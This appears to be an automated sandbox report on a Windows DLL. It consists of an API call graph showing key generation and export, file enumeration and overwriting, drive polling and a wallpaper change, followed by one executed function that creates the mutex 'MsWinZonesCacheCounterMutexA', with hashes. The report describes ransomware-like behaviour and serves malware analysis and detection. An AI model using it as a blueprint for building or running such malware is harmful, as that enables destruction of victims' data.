1604 10004730 3 API calls 1602->1604 1606 10001080 6 API calls 1603->1606 1604->1605 1605->1593 1605->1594 1605->1595 1605->1596 1605->1597 1605->1599 1607 10005a10 sprintf 1605->1607 1609 10005a93 Sleep 1605->1609 1605->1610 1611 10005a5d GetDriveTypeW 1605->1611 1612 10005190 29 API calls 1605->1612 1754 10005540 1605->1754 1606->1600 1608 10001080 6 API calls 1607->1608 1608->1605 1609->1605 1609->1610 1793 10001680 1610->1793 1611->1605 1612->1605 1614 100011f5 1613->1614 1615 100011fb GetTokenInformation 1613->1615 1614->1510 1616 1000121a GetLastError 1615->1616 1617 1000122d GlobalAlloc GetTokenInformation 1615->1617 1616->1617 1620 10001225 1616->1620 1618 10001254 1617->1618 1619 1000125a LoadLibraryA 1617->1619 1618->1510 1621 10001269 1619->1621 1622 1000126f GetProcAddress 1619->1622 1620->1510 1621->1510 1623 10001285 1622->1623 1624 1000127f 1622->1624 1625 100012a1 wcscpy 1623->1625 1626 1000129b 1623->1626 1624->1510 1627 100012b8 GlobalFree 1625->1627 1628 100012bf 1625->1628 1626->1510 1627->1628 1628->1510 1630 10004451 LoadLibraryA 1629->1630 1631 1000444a 1629->1631 1632 10004466 6 API calls 1630->1632 1633 100044c6 1630->1633 1631->1517 1632->1633 1633->1517 1634->1528 1635->1534 1637 10003d9e 1636->1637 1648 10003e43 1637->1648 1651 10003f00 CreateFileA 1637->1651 1639 10003e35 _local_unwind2 1639->1648 1640 10003dbe 1640->1639 1641 10003f00 6 API calls 1640->1641 1643 10003dda 1641->1643 1643->1639 1644 10003e82 strncmp 1643->1644 1645 10003ed4 1644->1645 1646 10003eae _local_unwind2 1644->1646 1660 10003ef6 1645->1660 1646->1536 1648->1536 1649->1541 1650->1530 1652 10003f59 GetFileSize 1651->1652 1654 10003f6b _local_unwind2 1651->1654 1653 10003f75 1652->1653 1652->1654 1653->1654 1656 10003f88 GlobalAlloc 1653->1656 1654->1640 1656->1654 1657 10003f99 ReadFile 1656->1657 1657->1654 1658 10003fb4 1657->1658 1658->1654 1659 10003fd1 _local_unwind2 1658->1659 1659->1640 1661 10003bb0 CryptReleaseContext 1660->1661 1662 10003efd 1661->1662 1662->1648 1664 10003c0e 1663->1664 1665 10003f00 6 API calls 1664->1665 1666 10003c2a 1665->1666 1666->1557 1668 10004099 GlobalAlloc 1667->1668 1671 10004091 _local_unwind2 1667->1671 1670 100040b5 CryptExportKey 1668->1670 1668->1671 1670->1671 1672 100040eb CreateFileA 1670->1672 1671->1559 1672->1671 1673 10004116 WriteFile 1672->1673 1673->1671 1674 1000412e _local_unwind2 1673->1674 1674->1559 1676 10003c67 1675->1676 1677 10003c5d 1675->1677 1684 10004170 1676->1684 1677->1560 1679 10003c7f 1680 10003c90 CreateFileA 1679->1680 1681 10003c88 1679->1681 1682 10003cb0 SetFilePointer WriteFile WriteFile 1680->1682 1683 10003ce6 GlobalFree 1680->1683 1681->1560 1682->1683 1683->1560 1696 10006bd0 1684->1696 1687 100041c2 CryptGetKeyParam 1689 10004206 GlobalAlloc 1687->1689 1690 100041e9 1687->1690 1688 100041b7 1688->1679 1691 10004254 1689->1691 1693 10004237 1689->1693 1690->1679 1691->1691 1692 100042fc 1691->1692 1694 1000431b GlobalFree 1691->1694 1692->1679 1692->1692 1693->1679 1695 1000432f 1694->1695 1695->1679 1695->1695 1697 1000417a CryptExportKey 1696->1697 1697->1687 1697->1688 1804 10003a10 InitializeCriticalSection 1698->1804 1700 100015b8 1805 10003a10 InitializeCriticalSection 1700->1805 1702 100015c6 1703 100015d3 ??2@YAPAXI 1702->1703 1703->1574 1705 10003ac0 23 API calls 1704->1705 1706 10001843 1705->1706 1707 10001847 1706->1707 1708 1000185c GlobalAlloc 1706->1708 1709 10003ac0 23 API calls 1706->1709 1707->1576 1710 10001875 1708->1710 1711 1000187a GlobalAlloc 1708->1711 1709->1708 1710->1576 1712 10001892 InitializeCriticalSection CreateThread GetTickCount srand 1711->1712 1713 1000188d 1711->1713 1712->1576 1806 100029e0 1712->1806 1713->1576 1715 10004756 1714->1715 1716 1000475b WriteFile CloseHandle 1714->1716 1715->1584 1716->1584 1718 10001135 1717->1718 1719 100010dd 1717->1719 1718->1588 1720 100010e5 WaitForSingleObject 1719->1720 1721 10001116 CloseHandle CloseHandle 1719->1721 1722 10001102 1720->1722 1723 100010f5 TerminateProcess 1720->1723 1721->1588 1722->1721 1724 1000110a GetExitCodeProcess 1722->1724 1723->1722 1724->1721 1726 10004ce9 CopyFileA 1725->1726 1727 10004cfb GetFileAttributesW 1725->1727 1726->1727 1728 10004d0b GetCurrentDirectoryA 1727->1728 1732 10004dd5 1727->1732 1729 10004d5b 1728->1729 1730 10004d9e sprintf 1728->1730 1729->1730 1822 10001140 6 API calls 1730->1822 1733 10004df0 1732->1733 1734 10006bd0 1733->1734 1735 10004dfa GetFileAttributesW 1734->1735 1736 10004e11 fopen 1735->1736 1737 10004f0f 1735->1737 1736->1737 1738 10004e2e fread fclose _wfopen 1736->1738 1743 10005480 SHGetFolderPathW wcslen 1737->1743 1738->1737 1739 10004e7c 1738->1739 1740 10004e85 _ftol sprintf 1739->1740 1741 10004ea8 sprintf 1739->1741 1742 10004ec9 sprintf fwrite fclose 1740->1742 1741->1742 1742->1737 1744 100054e1 SHGetFolderPathW wcslen 1743->1744 1745 100054d3 1743->1745 1747 10005513 1744->1747 1748 10005505 1744->1748 1827 100027f0 ??2@YAPAXI 1745->1827 1750 10004a40 16 API calls 1747->1750 1749 100027f0 130 API calls 1748->1749 1749->1747 1751 10005520 1750->1751 1752 10004a40 16 API calls 1751->1752 1753 1000552d 1752->1753 1753->1605 1755 100055f2 GetDriveTypeW 1754->1755 1756 10005577 InterlockedExchangeAdd 1754->1756 1757 10005604 InterlockedExchange 1755->1757 1758 10005668 1755->1758 1756->1758 1759 1000558c 1756->1759 1760 10005610 GetDriveTypeW 1757->1760 1758->1605 1761 1000559a GetDiskFreeSpaceExW 1759->1761 1764 100055c6 Sleep 1759->1764 1767 100055de GetDriveTypeW 1759->1767 1762 10005653 1760->1762 1763 10005623 1760->1763 1761->1759 1761->1764 1766 100027f0 130 API calls 1762->1766 2096 10005060 GetWindowsDirectoryW 1763->2096 1764->1761 1768 100055d3 1764->1768 1766->1758 1767->1758 1770 100055f0 1767->1770 1768->1605 1769 10005644 2103 10001910 wcscpy swprintf 1769->2103 1770->1760 1773 10004ab9 wcsrchr 1772->1773 1774 10004aac 1772->1774 1775 10004ada wcschr 1773->1775 1776 10004acf 1773->1776 1774->1600 1777 10004b01 1775->1777 1778 10004af6 1775->1778 1776->1600 1779 10004b54 swprintf FindFirstFileW 1777->1779 1780 10004b0b SHGetFolderPathW wcslen 1777->1780 1778->1600 1781 10004bbc 1779->1781 1782 10004baf 1779->1782 1780->1779 1783 10004b33 wcsrchr 1780->1783 1784 10004bca wcscmp 1781->1784 1782->1600 1783->1779 1785 10004b4c 1783->1785 1786 10004c95 FindNextFileW 1784->1786 1787 10004be8 wcscmp 1784->1787 1785->1779 1786->1784 1789 10004cb0 FindClose 1786->1789 1787->1786 1788 10004c06 1787->1788 1788->1786 1790 10004c14 swprintf 1788->1790 1791 10004c4f wcscmp 1788->1791 1789->1600 1790->1788 1791->1786 1792 10004c5e swprintf 1791->1792 1792->1786 2104 10001760 1793->2104 1796 100016fe ??3@YAXPAX 1798 10001728 1796->1798 1797 100016c5 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N ??3@YAXPAX 1797->1797 1799 100016fd 1797->1799 2117 10003a60 DeleteCriticalSection 1798->2117 1799->1796 1801 10001734 2118 10003a60 DeleteCriticalSection 1801->2118 1803 10001744 1803->1492 1803->1493 1804->1700 1805->1702 1809 100029f0 1806->1809 1810 10002b88 ExitThread 1809->1810 1821 10002a04 1809->1821 1811 10002a12 Sleep 1811->1821 1812 10002a2f EnterCriticalSection 1813 10002b6f LeaveCriticalSection 1812->1813 1812->1821 1813->1810 1813->1821 1814 10002a68 wcslen 1814->1821 1815 10002aef GetFileAttributesW SetFileAttributesW 1815->1821 1816 10002a84 GetFileAttributesW 1817 10002aab swprintf 1816->1817 1819 10002a90 GetFileAttributesW SetFileAttributesW 1816->1819 1817->1821 1818 10002b46 ??3@YAXPAX 1818->1813 1818->1821 1819->1817 1820 10002b3a ??3@YAXPAX 1820->1818 1821->1810 1821->1811 1821->1812 1821->1814 1821->1815 1821->1816 1821->1817 1821->1818 1821->1820 1823 10001190 1822->1823 1824 10001198 fprintf fclose 1822->1824 1823->1732 1825 10001080 6 API calls 1824->1825 1826 100011c1 1825->1826 1826->1732 1837 10002300 ??2@YAPAXI 1827->1837 1829 100028b8 1894 10002ba0 1829->1894 1830 10002853 1830->1829 1835 10002885 ??3@YAXPAX 1830->1835 1884 10002940 1830->1884 1833 10002912 ??3@YAXPAX 1833->1744 1834 100028c1 1834->1833 1836 100028eb ??3@YAXPAX 1834->1836 1835->1830 1836->1833 1836->1834 1910 10003730 ??2@YAPAXI 1837->1910 1840 10002413 1921 10002f70 GetTempFileNameW 1840->1921 1841 100023af 1912 100036a0 1841->1912 1844 100023cd ??3@YAXPAX 1918 100037c0 1844->1918 1846 10002438 wcscmp 1850 1000262a FindNextFileW 1846->1850 1851 1000244f wcscmp 1846->1851 1848 100027c9 1848->1830 1849 10002642 FindClose 1853 10002686 1849->1853 1860 1000265a 1849->1860 1850->1849 1869 10002419 1850->1869 1851->1850 1852 10002466 swprintf 1851->1852 1852->1869 1854 10002694 _wcsnicmp 1853->1854 1856 100026b4 1853->1856 1854->1856 1855 10002940 68 API calls 1855->1860 1881 10002706 1856->1881 1968 10003200 swprintf CopyFileW 1856->1968 1858 1000252b wcscmp 1858->1850 1859 10002542 wcscmp 1858->1859 1859->1850 1864 10002559 wcscmp 1859->1864 1860->1853 1860->1855 1865 10003760 ??2@YAPAXI 1860->1865 1861 10002746 1862 10002771 ??3@YAXPAX 1861->1862 1877 1000276d 1861->1877 1971 10003620 1861->1971 1870 100027b7 ??3@YAXPAX 1862->1870 1871 1000278e ??3@YAXPAX 1862->1871 1864->1850 1864->1869 1865->1860 1866 100024b1 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI 1945 100035c0 ??2@YAPAXI 1866->1945 1868 100026f9 1873 10002701 1868->1873 1874 10002708 1868->1874 1869->1846 1869->1849 1869->1850 1869->1858 1869->1866 1882 100025bf wcsncpy wcsncpy 1869->1882 1923 100032c0 _wcsnicmp 1869->1923 1949 10002d60 wcsrchr 1869->1949 1870->1848 1871->1870 1871->1871 1969 10003280 swprintf CopyFileW 1873->1969 1970 10003240 swprintf CopyFileW 1874->1970 1877->1862 1880 10002300 103 API calls 1880->1881 1881->1861 1881->1880 1966 10003760 ??2@YAPAXI 1882->1966 1885 10002953 1884->1885 1886 100029aa 1885->1886 1887 10002973 1885->1887 1888 1000295f 1885->1888 1886->1830 1890 10002200 66 API calls 1887->1890 1990 10002200 1888->1990 1892 1000297d 1890->1892 1892->1886 1893 10002981 wcscat wcscat 1892->1893 1893->1886 1895 10002bcb wcslen 1894->1895 1896 10002cfd wcslen 1894->1896 1897 10002be2 1895->1897 1898 10002bef EnterCriticalSection wcslen ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 1895->1898 1899 10002d11 1896->1899 2079 10003010 1897->2079 1901 10002c48 ??2@YAPAXI 1898->1901 1902 10002c2d 1898->1902 1899->1834 1904 10002c65 1901->1904 1902->1901 1903 10002bec 1903->1898 1905 10003810 7 API calls 1904->1905 1906 10002c8a 1905->1906 1907 10002cde LeaveCriticalSection 1906->1907 1908 10002cd2 ??3@YAXPAX 1906->1908 1909 10002cae LeaveCriticalSection 1906->1909 1907->1834 1908->1907 1909->1834 1911 10002363 swprintf FindFirstFileW 1910->1911 1911->1840 1911->1841 1913 100036b0 1912->1913 1914 1000371a 1912->1914 1915 100036ec ??3@YAXPAX 1913->1915 1916 100036e0 ??3@YAXPAX 1913->1916 1914->1844 1915->1913 1917 1000370d 1915->1917 1916->1915 1917->1844 1919 100037d1 ??3@YAXPAX 1918->1919 1920 100023ff ??3@YAXPAX 1918->1920 1919->1919 1919->1920 1920->1848 1922 10002fc1 1921->1922 1922->1869 1924 100032e2 wcsstr 1923->1924 1925 100032ef 1923->1925 1924->1925 1926 10003300 _wcsicmp 1925->1926 1927 100033b9 _wcsicmp 1925->1927 1930 10003312 1926->1930 1931 1000331d _wcsicmp 1926->1931 1928 100033d7 _wcsicmp 1927->1928 1929 100033cc 1927->1929 1932 100033f1 _wcsicmp 1928->1932 1933 100033e6 1928->1933 1929->1869 1930->1869 1934 10003337 _wcsicmp 1931->1934 1935 1000332c 1931->1935 1932->1869 1933->1869 1936 10003351 _wcsicmp 1934->1936 1937 10003346 1934->1937 1935->1869 1938 10003360 1936->1938 1939 1000336b _wcsicmp 1936->1939 1937->1869 1938->1869 1940 10003385 wcsstr 1939->1940 1941 1000337a 1939->1941 1942 10003394 1940->1942 1943 1000339f wcsstr 1940->1943 1941->1869 1942->1869 1943->1927 1944 100033ae 1943->1944 1944->1869 1946 100035df 1945->1946 1976 10003810 1946->1976 1948 10002508 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 1948->1850 1950 10002d79 1949->1950 1951 10002d7f _wcsicmp 1949->1951 1950->1869 1952 10002d98 _wcsicmp 1951->1952 1953 10002e5b 1951->1953 1952->1953 1954 10002dab _wcsicmp 1952->1954 1953->1869 1955 10002dc5 1954->1955 1956 10002dba 1954->1956 1957 10002dd3 _wcsicmp 1955->1957 1963 10002dea 1955->1963 1956->1869 1957->1955 1958 10002e11 1957->1958 1958->1869 1959 10002e27 _wcsicmp 1961 10002e41 _wcsicmp 1959->1961 1962 10002e36 1959->1962 1960 10002df8 _wcsicmp 1960->1963 1964 10002e1c 1960->1964 1961->1869 1962->1869 1963->1959 1963->1960 1965 10002e0f 1963->1965 1964->1869 1965->1959 1967 1000377f 1966->1967 1967->1850 1968->1868 1969->1881 1970->1881 1972 10003660 ??3@YAXPAX 1971->1972 1973 10003641 1971->1973 1972->1861 1974 10003654 ??3@YAXPAX 1973->1974 1975 1000364d 1973->1975 1974->1972 1975->1972 1977 10003840 1976->1977 1983 10003944 1976->1983 1978 10003868 1977->1978 1982 100038db 1977->1982 1980 10003874 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 1978->1980 1981 1000386e ?_Xran@std@ 1978->1981 1979 10003935 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 1979->1983 1985 10003885 1980->1985 1981->1980 1982->1979 1986 100038f5 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 1982->1986 1983->1948 1984 100038c0 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 1984->1948 1985->1984 1987 100038a1 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 1985->1987 1988 10003906 1986->1988 1987->1984 1989 100038b7 ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI 1987->1989 1988->1948 1989->1984 1991 1000227a swprintf 1990->1991 1992 1000221a wcscpy wcsrchr 1990->1992 1995 1000229a GetFileAttributesW 1991->1995 1993 10002265 1992->1993 1994 10002245 _wcsicmp 1992->1994 1998 1000226f wcscat 1993->1998 1997 1000225e wcscpy 1994->1997 1994->1998 1996 100022aa 1995->1996 2000 100022ba 1995->2000 2003 10001960 1996->2003 1997->1995 1998->1995 2001 10002ba0 23 API calls 2000->2001 2002 100022be 2000->2002 2001->2002 2002->1830 2009 10001a07 2003->2009 2004 10001a74 GetFileSizeEx 2005 10001a91 GetFileTime 2004->2005 2006 10001a6a _local_unwind2 2004->2006 2013 10001ac6 2005->2013 2006->2000 2008 10001b98 SetFilePointer 2010 10001bb7 swprintf 2008->2010 2011 10001c5b 2008->2011 2009->2004 2009->2006 2014 10001bf4 2010->2014 2011->2006 2012 10001c8f SetFilePointer 2011->2012 2017 10001cb4 2012->2017 2013->2008 2024 10001b72 _local_unwind2 2013->2024 2014->2006 2015 10001d66 2014->2015 2020 10001d54 rand 2014->2020 2039 10004370 2015->2039 2017->2006 2019 10001ccc SetFilePointer 2017->2019 2018 10001dba 2018->2006 2049 10005dc0 2018->2049 2022 10001d01 2019->2022 2020->2015 2022->2006 2023 10001d19 SetFilePointer 2022->2023 2023->2014 2024->2000 2025 10001de3 2025->2006 2026 100020b7 SetFileTime 2025->2026 2027 10001ee5 SetFilePointer 2025->2027 2033 10001f9b 2025->2033 2030 10002121 _local_unwind2 2026->2030 2035 100020da 2026->2035 2029 10001f11 2027->2029 2028 100020ab 2028->2026 2029->2006 2056 10006940 2029->2056 2030->2000 2033->2006 2033->2028 2037 10006940 12 API calls 2033->2037 2035->2030 2036 10002110 SetFileAttributesW 2035->2036 2036->2030 2037->2033 2038 10001f7a SetFilePointer 2038->2033 2040 10004386 2039->2040 2041 1000437d 2039->2041 2069 10004420 CryptGenRandom 2040->2069 2041->2018 2043 10004397 2044 1000439b 2043->2044 2045 100043b2 EnterCriticalSection 2043->2045 2044->2018 2046 100043ed 2045->2046 2047 10004401 LeaveCriticalSection 2046->2047 2048 100043f2 LeaveCriticalSection 2046->2048 2047->2044 2048->2018 2050 10005df4 2049->2050 2051 10005dce ??0exception@@QAE@ABQBD _CxxThrowException 2049->2051 2052 10005e2d 2050->2052 2053 10005e07 ??0exception@@QAE@ABQBD _CxxThrowException 2050->2053 2051->2050 2054 10005e40 ??0exception@@QAE@ABQBD _CxxThrowException 2052->2054 2055 10005e66 2052->2055 2053->2052 2054->2055 2055->2025 2055->2055 2057 10006950 ??0exception@@QAE@ABQBD _CxxThrowException 2056->2057 2058 1000696e 2056->2058 2057->2058 2059 10006b7c ??0exception@@QAE@ABQBD _CxxThrowException 2058->2059 2064 10006990 2058->2064 2060 10006b34 2061 10006640 4 API calls 2060->2061 2068 10001f46 2060->2068 2061->2060 2062 10006640 4 API calls 2065 10006a69 2062->2065 2063 10006a4b ??0exception@@QAE@ABQBD _CxxThrowException 2063->2065 2064->2063 2064->2065 2064->2068 2070 10006640 2064->2070 2065->2060 2065->2062 2067 10006b16 ??0exception@@QAE@ABQBD _CxxThrowException 2065->2067 2065->2068 2067->2060 2068->2006 2068->2038 2069->2043 2071 10006650 ??0exception@@QAE@ABQBD _CxxThrowException 2070->2071 2072 1000666e 2070->2072 2071->2072 2075 10006694 2072->2075 2076 10006280 2072->2076 2075->2064 2077 10006291 ??0exception@@QAE@ABQBD _CxxThrowException 2076->2077 2078 100062af 2076->2078 2077->2078 2078->2064 2080 10006bd0 2079->2080 2081 1000301a GetFileAttributesW 2080->2081 2082 10003030 2081->2082 2083 1000303c 2081->2083 2082->1903 2084 10003040 SetFileAttributesW 2083->2084 2086 1000304a 2083->2086 2084->2086 2085 100030a3 GetFileSizeEx 2087 100030bf 2085->2087 2090 100030ea 2085->2090 2086->2085 2091 10003073 2086->2091 2095 10004420 CryptGenRandom 2087->2095 2089 10003161 FlushFileBuffers SetFilePointer 2094 10003195 2089->2094 2090->2089 2092 10003142 SetFilePointer 2090->2092 2091->1903 2092->2089 2094->1903 2095->2090 2097 100050d0 swprintf CreateDirectoryW sprintf 2096->2097 2098 1000508e GetTempPathW wcslen 2096->2098 2101 10001080 6 API calls 2097->2101 2099 10005112 2098->2099 2100 100050aa wcslen 2098->2100 2099->1769 2100->2099 2102 100050b8 wcslen 2100->2102 2101->2099 2102->1769 2103->1762 2105 10003bb0 CryptReleaseContext 2104->2105 2106 1000176c 2105->2106 2107 10003bb0 CryptReleaseContext 2106->2107 2108 10001774 2107->2108 2110 100017a3 2108->2110 2111 10001790 GlobalFree 2108->2111 2109 100017cc 2112 10001800 DeleteCriticalSection wcslen 2109->2112 2113 100017d6 WaitForSingleObject 2109->2113 2110->2109 2114 100017b9 GlobalFree 2110->2114 2111->2110 2115 100016b2 2112->2115 2116 100017f6 2113->2116 2114->2109 2115->1796 2115->1797 2116->2112 2117->1801 2118->1803 2120 100047da ExitThread 2119->2120 2121 1000479c 2119->2121 2121->2120 2122 100047a8 time 2121->2122 2124 100047c4 Sleep 2121->2124 2123 10004730 3 API calls 2122->2123 2123->2121 2124->2121 2126 100049a6 time 2125->2126 2127 10004a24 Sleep 2126->2127 2131 100049b7 2126->2131 2127->2126 2128 100049c6 time 2129 10001000 5 API calls 2128->2129 2129->2131 2131->2127 2131->2128 2132 100049eb GetFullPathNameA 2131->2132 2152 10004890 2131->2152 2161 100047f0 2132->2161 2135 100045cc 2134->2135 2136 10004500 15 API calls 2135->2136 2137 100045e7 ExitThread 2135->2137 2138 100045de Sleep 2135->2138 2136->2135 2138->2135 2140 10005745 Sleep GetLogicalDrives 2139->2140 2141 100057af ExitThread 2139->2141 2142 10005760 2140->2142 2142->2140 2142->2141 2143 10005781 CreateThread 2142->2143 2143->2142 2144 10005799 CloseHandle 2143->2144 2182 10005680 2143->2182 2144->2142 2146 10005337 2145->2146 2147 10005309 2145->2147 2148 10001080 6 API calls 2147->2148 2149 1000531e Sleep 2148->2149 2149->2147 2150 10005331 2149->2150 2168 10001360 AllocateAndInitializeSid 2152->2168 2154 1000489c 2155 100048a9 GetFullPathNameA sprintf 2154->2155 2157 10004913 CreateProcessA 2154->2157 2156 10001080 6 API calls 2155->2156 2158 10004907 2156->2158 2159 10004969 CloseHandle CloseHandle 2157->2159 2160 1000497f 2157->2160 2158->2157 2158->2160 2159->2160 2160->2131 2162 10001360 3 API calls 2161->2162 2163 10004810 2162->2163 2173 100014a0 GetComputerNameW wcslen 2163->2173 2166 10001080 6 API calls 2167 1000487d 2166->2167 2167->2131 2169 100013a6 2168->2169 2170 100013ab CheckTokenMembership 2168->2170 2169->2154 2171 100013c0 2170->2171 2172 100013c4 FreeSid 2170->2172 2171->2172 2172->2154 2174 10001517 srand rand 2173->2174 2175 100014f7 2173->2175 2177 10001533 2174->2177 2176 100014fb wcslen 2175->2176 2176->2174 2176->2176 2178 10001548 rand 2177->2178 2179 1000155d 2177->2179 2178->2178 2178->2179 2180 10001564 rand 2179->2180 2181 10001579 sprintf 2179->2181 2180->2180 2180->2181 2181->2166 2183 10001590 2 API calls 2182->2183 2184 100056a4 2183->2184 2185 10001830 42 API calls 2184->2185 2186 100056c7 2185->2186 2187 100056f8 2186->2187 2188 100056cb 2186->2188 2189 10005540 153 API calls 2187->2189 2190 10001680 10 API calls 2188->2190 2192 1000570d 2189->2192 2191 100056df 2190->2191 2197 10005190 GetDriveTypeW 2192->2197 2194 10005713 2195 10001760 6 API calls 2194->2195 2196 1000571f ExitThread 2195->2196 2198 100052ee 2197->2198 2199 100051cf GlobalAlloc 2197->2199 2198->2194 2199->2198 2200 100051e6 2199->2200 2211 10005120 2200->2211 2202 10005215 CreateFileW 2203 10005239 GlobalFree 2202->2203 2204 1000524a MoveFileExW 2202->2204 2203->2194 2205 100052cd GlobalFree FlushFileBuffers CloseHandle DeleteFileW 2204->2205 2207 10005263 2204->2207 2205->2198 2206 10005269 GetDiskFreeSpaceExW 2206->2205 2206->2207 2207->2205 2207->2206 2208 1000529b WriteFile 2207->2208 2208->2205 2209 100052b3 Sleep 2208->2209 2209->2208 2210 100052bd Sleep 2209->2210 2210->2205 2210->2206 2212 10005060 14 API calls 2211->2212 2213 10005150 swprintf DeleteFileW 2212->2213 2213->2202 2214 10003500 2215 10003543 ??3@YAXPAX 2214->2215 2216 1000350f 2214->2216 2217 10003510 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N ??3@YAXPAX 2216->2217 2217->2217 2218 10003542 2217->2218 2218->2215 2219 10005340 2220 10005386 fopen 2219->2220 2221 100053dc 2219->2221 2220->2221 2222 1000539f WideCharToMultiByte fprintf fclose 2220->2222 2222->2221 2223 10003a40 2228 10003a60 DeleteCriticalSection 2223->2228 2225 10003a48 2226 10003a58 2225->2226 2227 10003a4f ??3@YAXPAX 2225->2227 2227->2226 2228->2225 2258 10004f20 swprintf MultiByteToWideChar CopyFileW 2259 10005024 swprintf CopyFileW 2258->2259 2260 10004fba GetUserNameW _wcsicmp 2258->2260 2260->2259 2261 10005013 SystemParametersInfoW 2260->2261 2261->2259 2262 10003560 2263 10003595 ??3@YAXPAX 2262->2263 2264 1000356e ??3@YAXPAX 2262->2264 2264->2263 2264->2264 2265 10001660 2266 10001680 10 API calls 2265->2266 2267 10001668 2266->2267 2268 10001678 2267->2268 2269 1000166f ??3@YAXPAX 2267->2269 2269->2268 2270 10005727 2271 10005730 GetLogicalDrives 2270->2271 2272 10005745 Sleep GetLogicalDrives 2271->2272 2273 100057af ExitThread 2271->2273 2274 10005760 2272->2274 2274->2272 2274->2273 2275 10005781 CreateThread 2274->2275 2275->2274 2276 10005799 CloseHandle 2275->2276 2277 10005680 222 API calls 2275->2277 2276->2274 2229 10006c0c ??1type_info@@UAE 2230 10006c22 2229->2230 2231 10006c1b ??3@YAXPAX 2229->2231 2231->2230 2278 100021ac 2280 100021b7 wcslen 2278->2280 2281 100021e8 2280->2281 2238 10005d90 2239 10005d98 2238->2239 2240 10005da8 2239->2240 2241 10005d9f ??3@YAXPAX 2239->2241 2241->2240 2282 100053f0 GetUserNameW _wcsicmp 2283 10005452 2282->2283 2284 10005444 2282->2284 2285 100027f0 130 API calls 2283->2285 2286 10005468 2285->2286 2287 10006ef0 ??3@YAXPAX 2288 10003ff3 2289 10004001 2288->2289 2290 10003ffa GlobalFree 2288->2290 2291 10004010 2289->2291 2292 10004009 CloseHandle 2289->2292 2290->2289 2292->2291 2242 10006e16 ??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE 2243 10006cdf 2244 10006cfb 2243->2244 2246 10006cf2 2243->2246 2244->2246 2248 10006d23 2244->2248 2251 10006c34 2244->2251 2247 10006d43 2246->2247 2246->2248 2249 10006c34 3 API calls 2246->2249 2247->2248 2250 10006c34 3 API calls 2247->2250 2249->2247 2250->2248 2252 10006c3c 2251->2252 2253 10006c72 2252->2253 2254 10006c5d malloc 2252->2254 2256 10006c9c 2252->2256 2253->2246 2254->2253 2255 10006c76 _initterm 2254->2255 2255->2253 2256->2253 2257 10006cc9 free 2256->2257 2257->2253

                                                                                                                                                                                Executed Functions

                                                                                                                                                                                Function 10004690 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19synchronizationCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                APIs
                                                                                                                                                                                • CreateMutexA.KERNELBASE(00000000,00000001,MsWinZonesCacheCounterMutexA,?,10005B11), ref: 1000469A
                                                                                                                                                                                • GetLastError.KERNEL32(?,10005B11), ref: 100046A6
                                                                                                                                                                                • FindCloseChangeNotification.KERNELBASE(00000000,?,10005B11), ref: 100046B4
                                                                                                                                                                                Strings
                                                                                                                                                                                • MsWinZonesCacheCounterMutexA, xrefs: 10004691
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ChangeCloseCreateErrorFindLastMutexNotification
                                                                                                                                                                                • String ID: MsWinZonesCacheCounterMutexA
                                                                                                                                                                                • API String ID: 826531834-694093751
                                                                                                                                                                                • Opcode ID: b4423007a58e0f84b666c0c66b10e299a80b8cce86534432c0e4c48c6a08cb45
                                                                                                                                                                                • Instruction ID: 338334782f2b9e7042141e46606865c077db62d8e45c1ffbdd960e7d74596030
                                                                                                                                                                                • Opcode Fuzzy Hash: b4423007a58e0f84b666c0c66b10e299a80b8cce86534432c0e4c48c6a08cb45
                                                                                                                                                                                • Instruction Fuzzy Hash: 88D0A731905932D7F6606B24BCC87CF2A40EB027E1F030260FA0CE559DEB598C8148E6

                                                                                                                                                                                Non-executed Functions

                                                                                                                                                                                Function 10002300 Relevance: 49.4, APIs: 23, Strings: 5, Instructions: 373fileCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
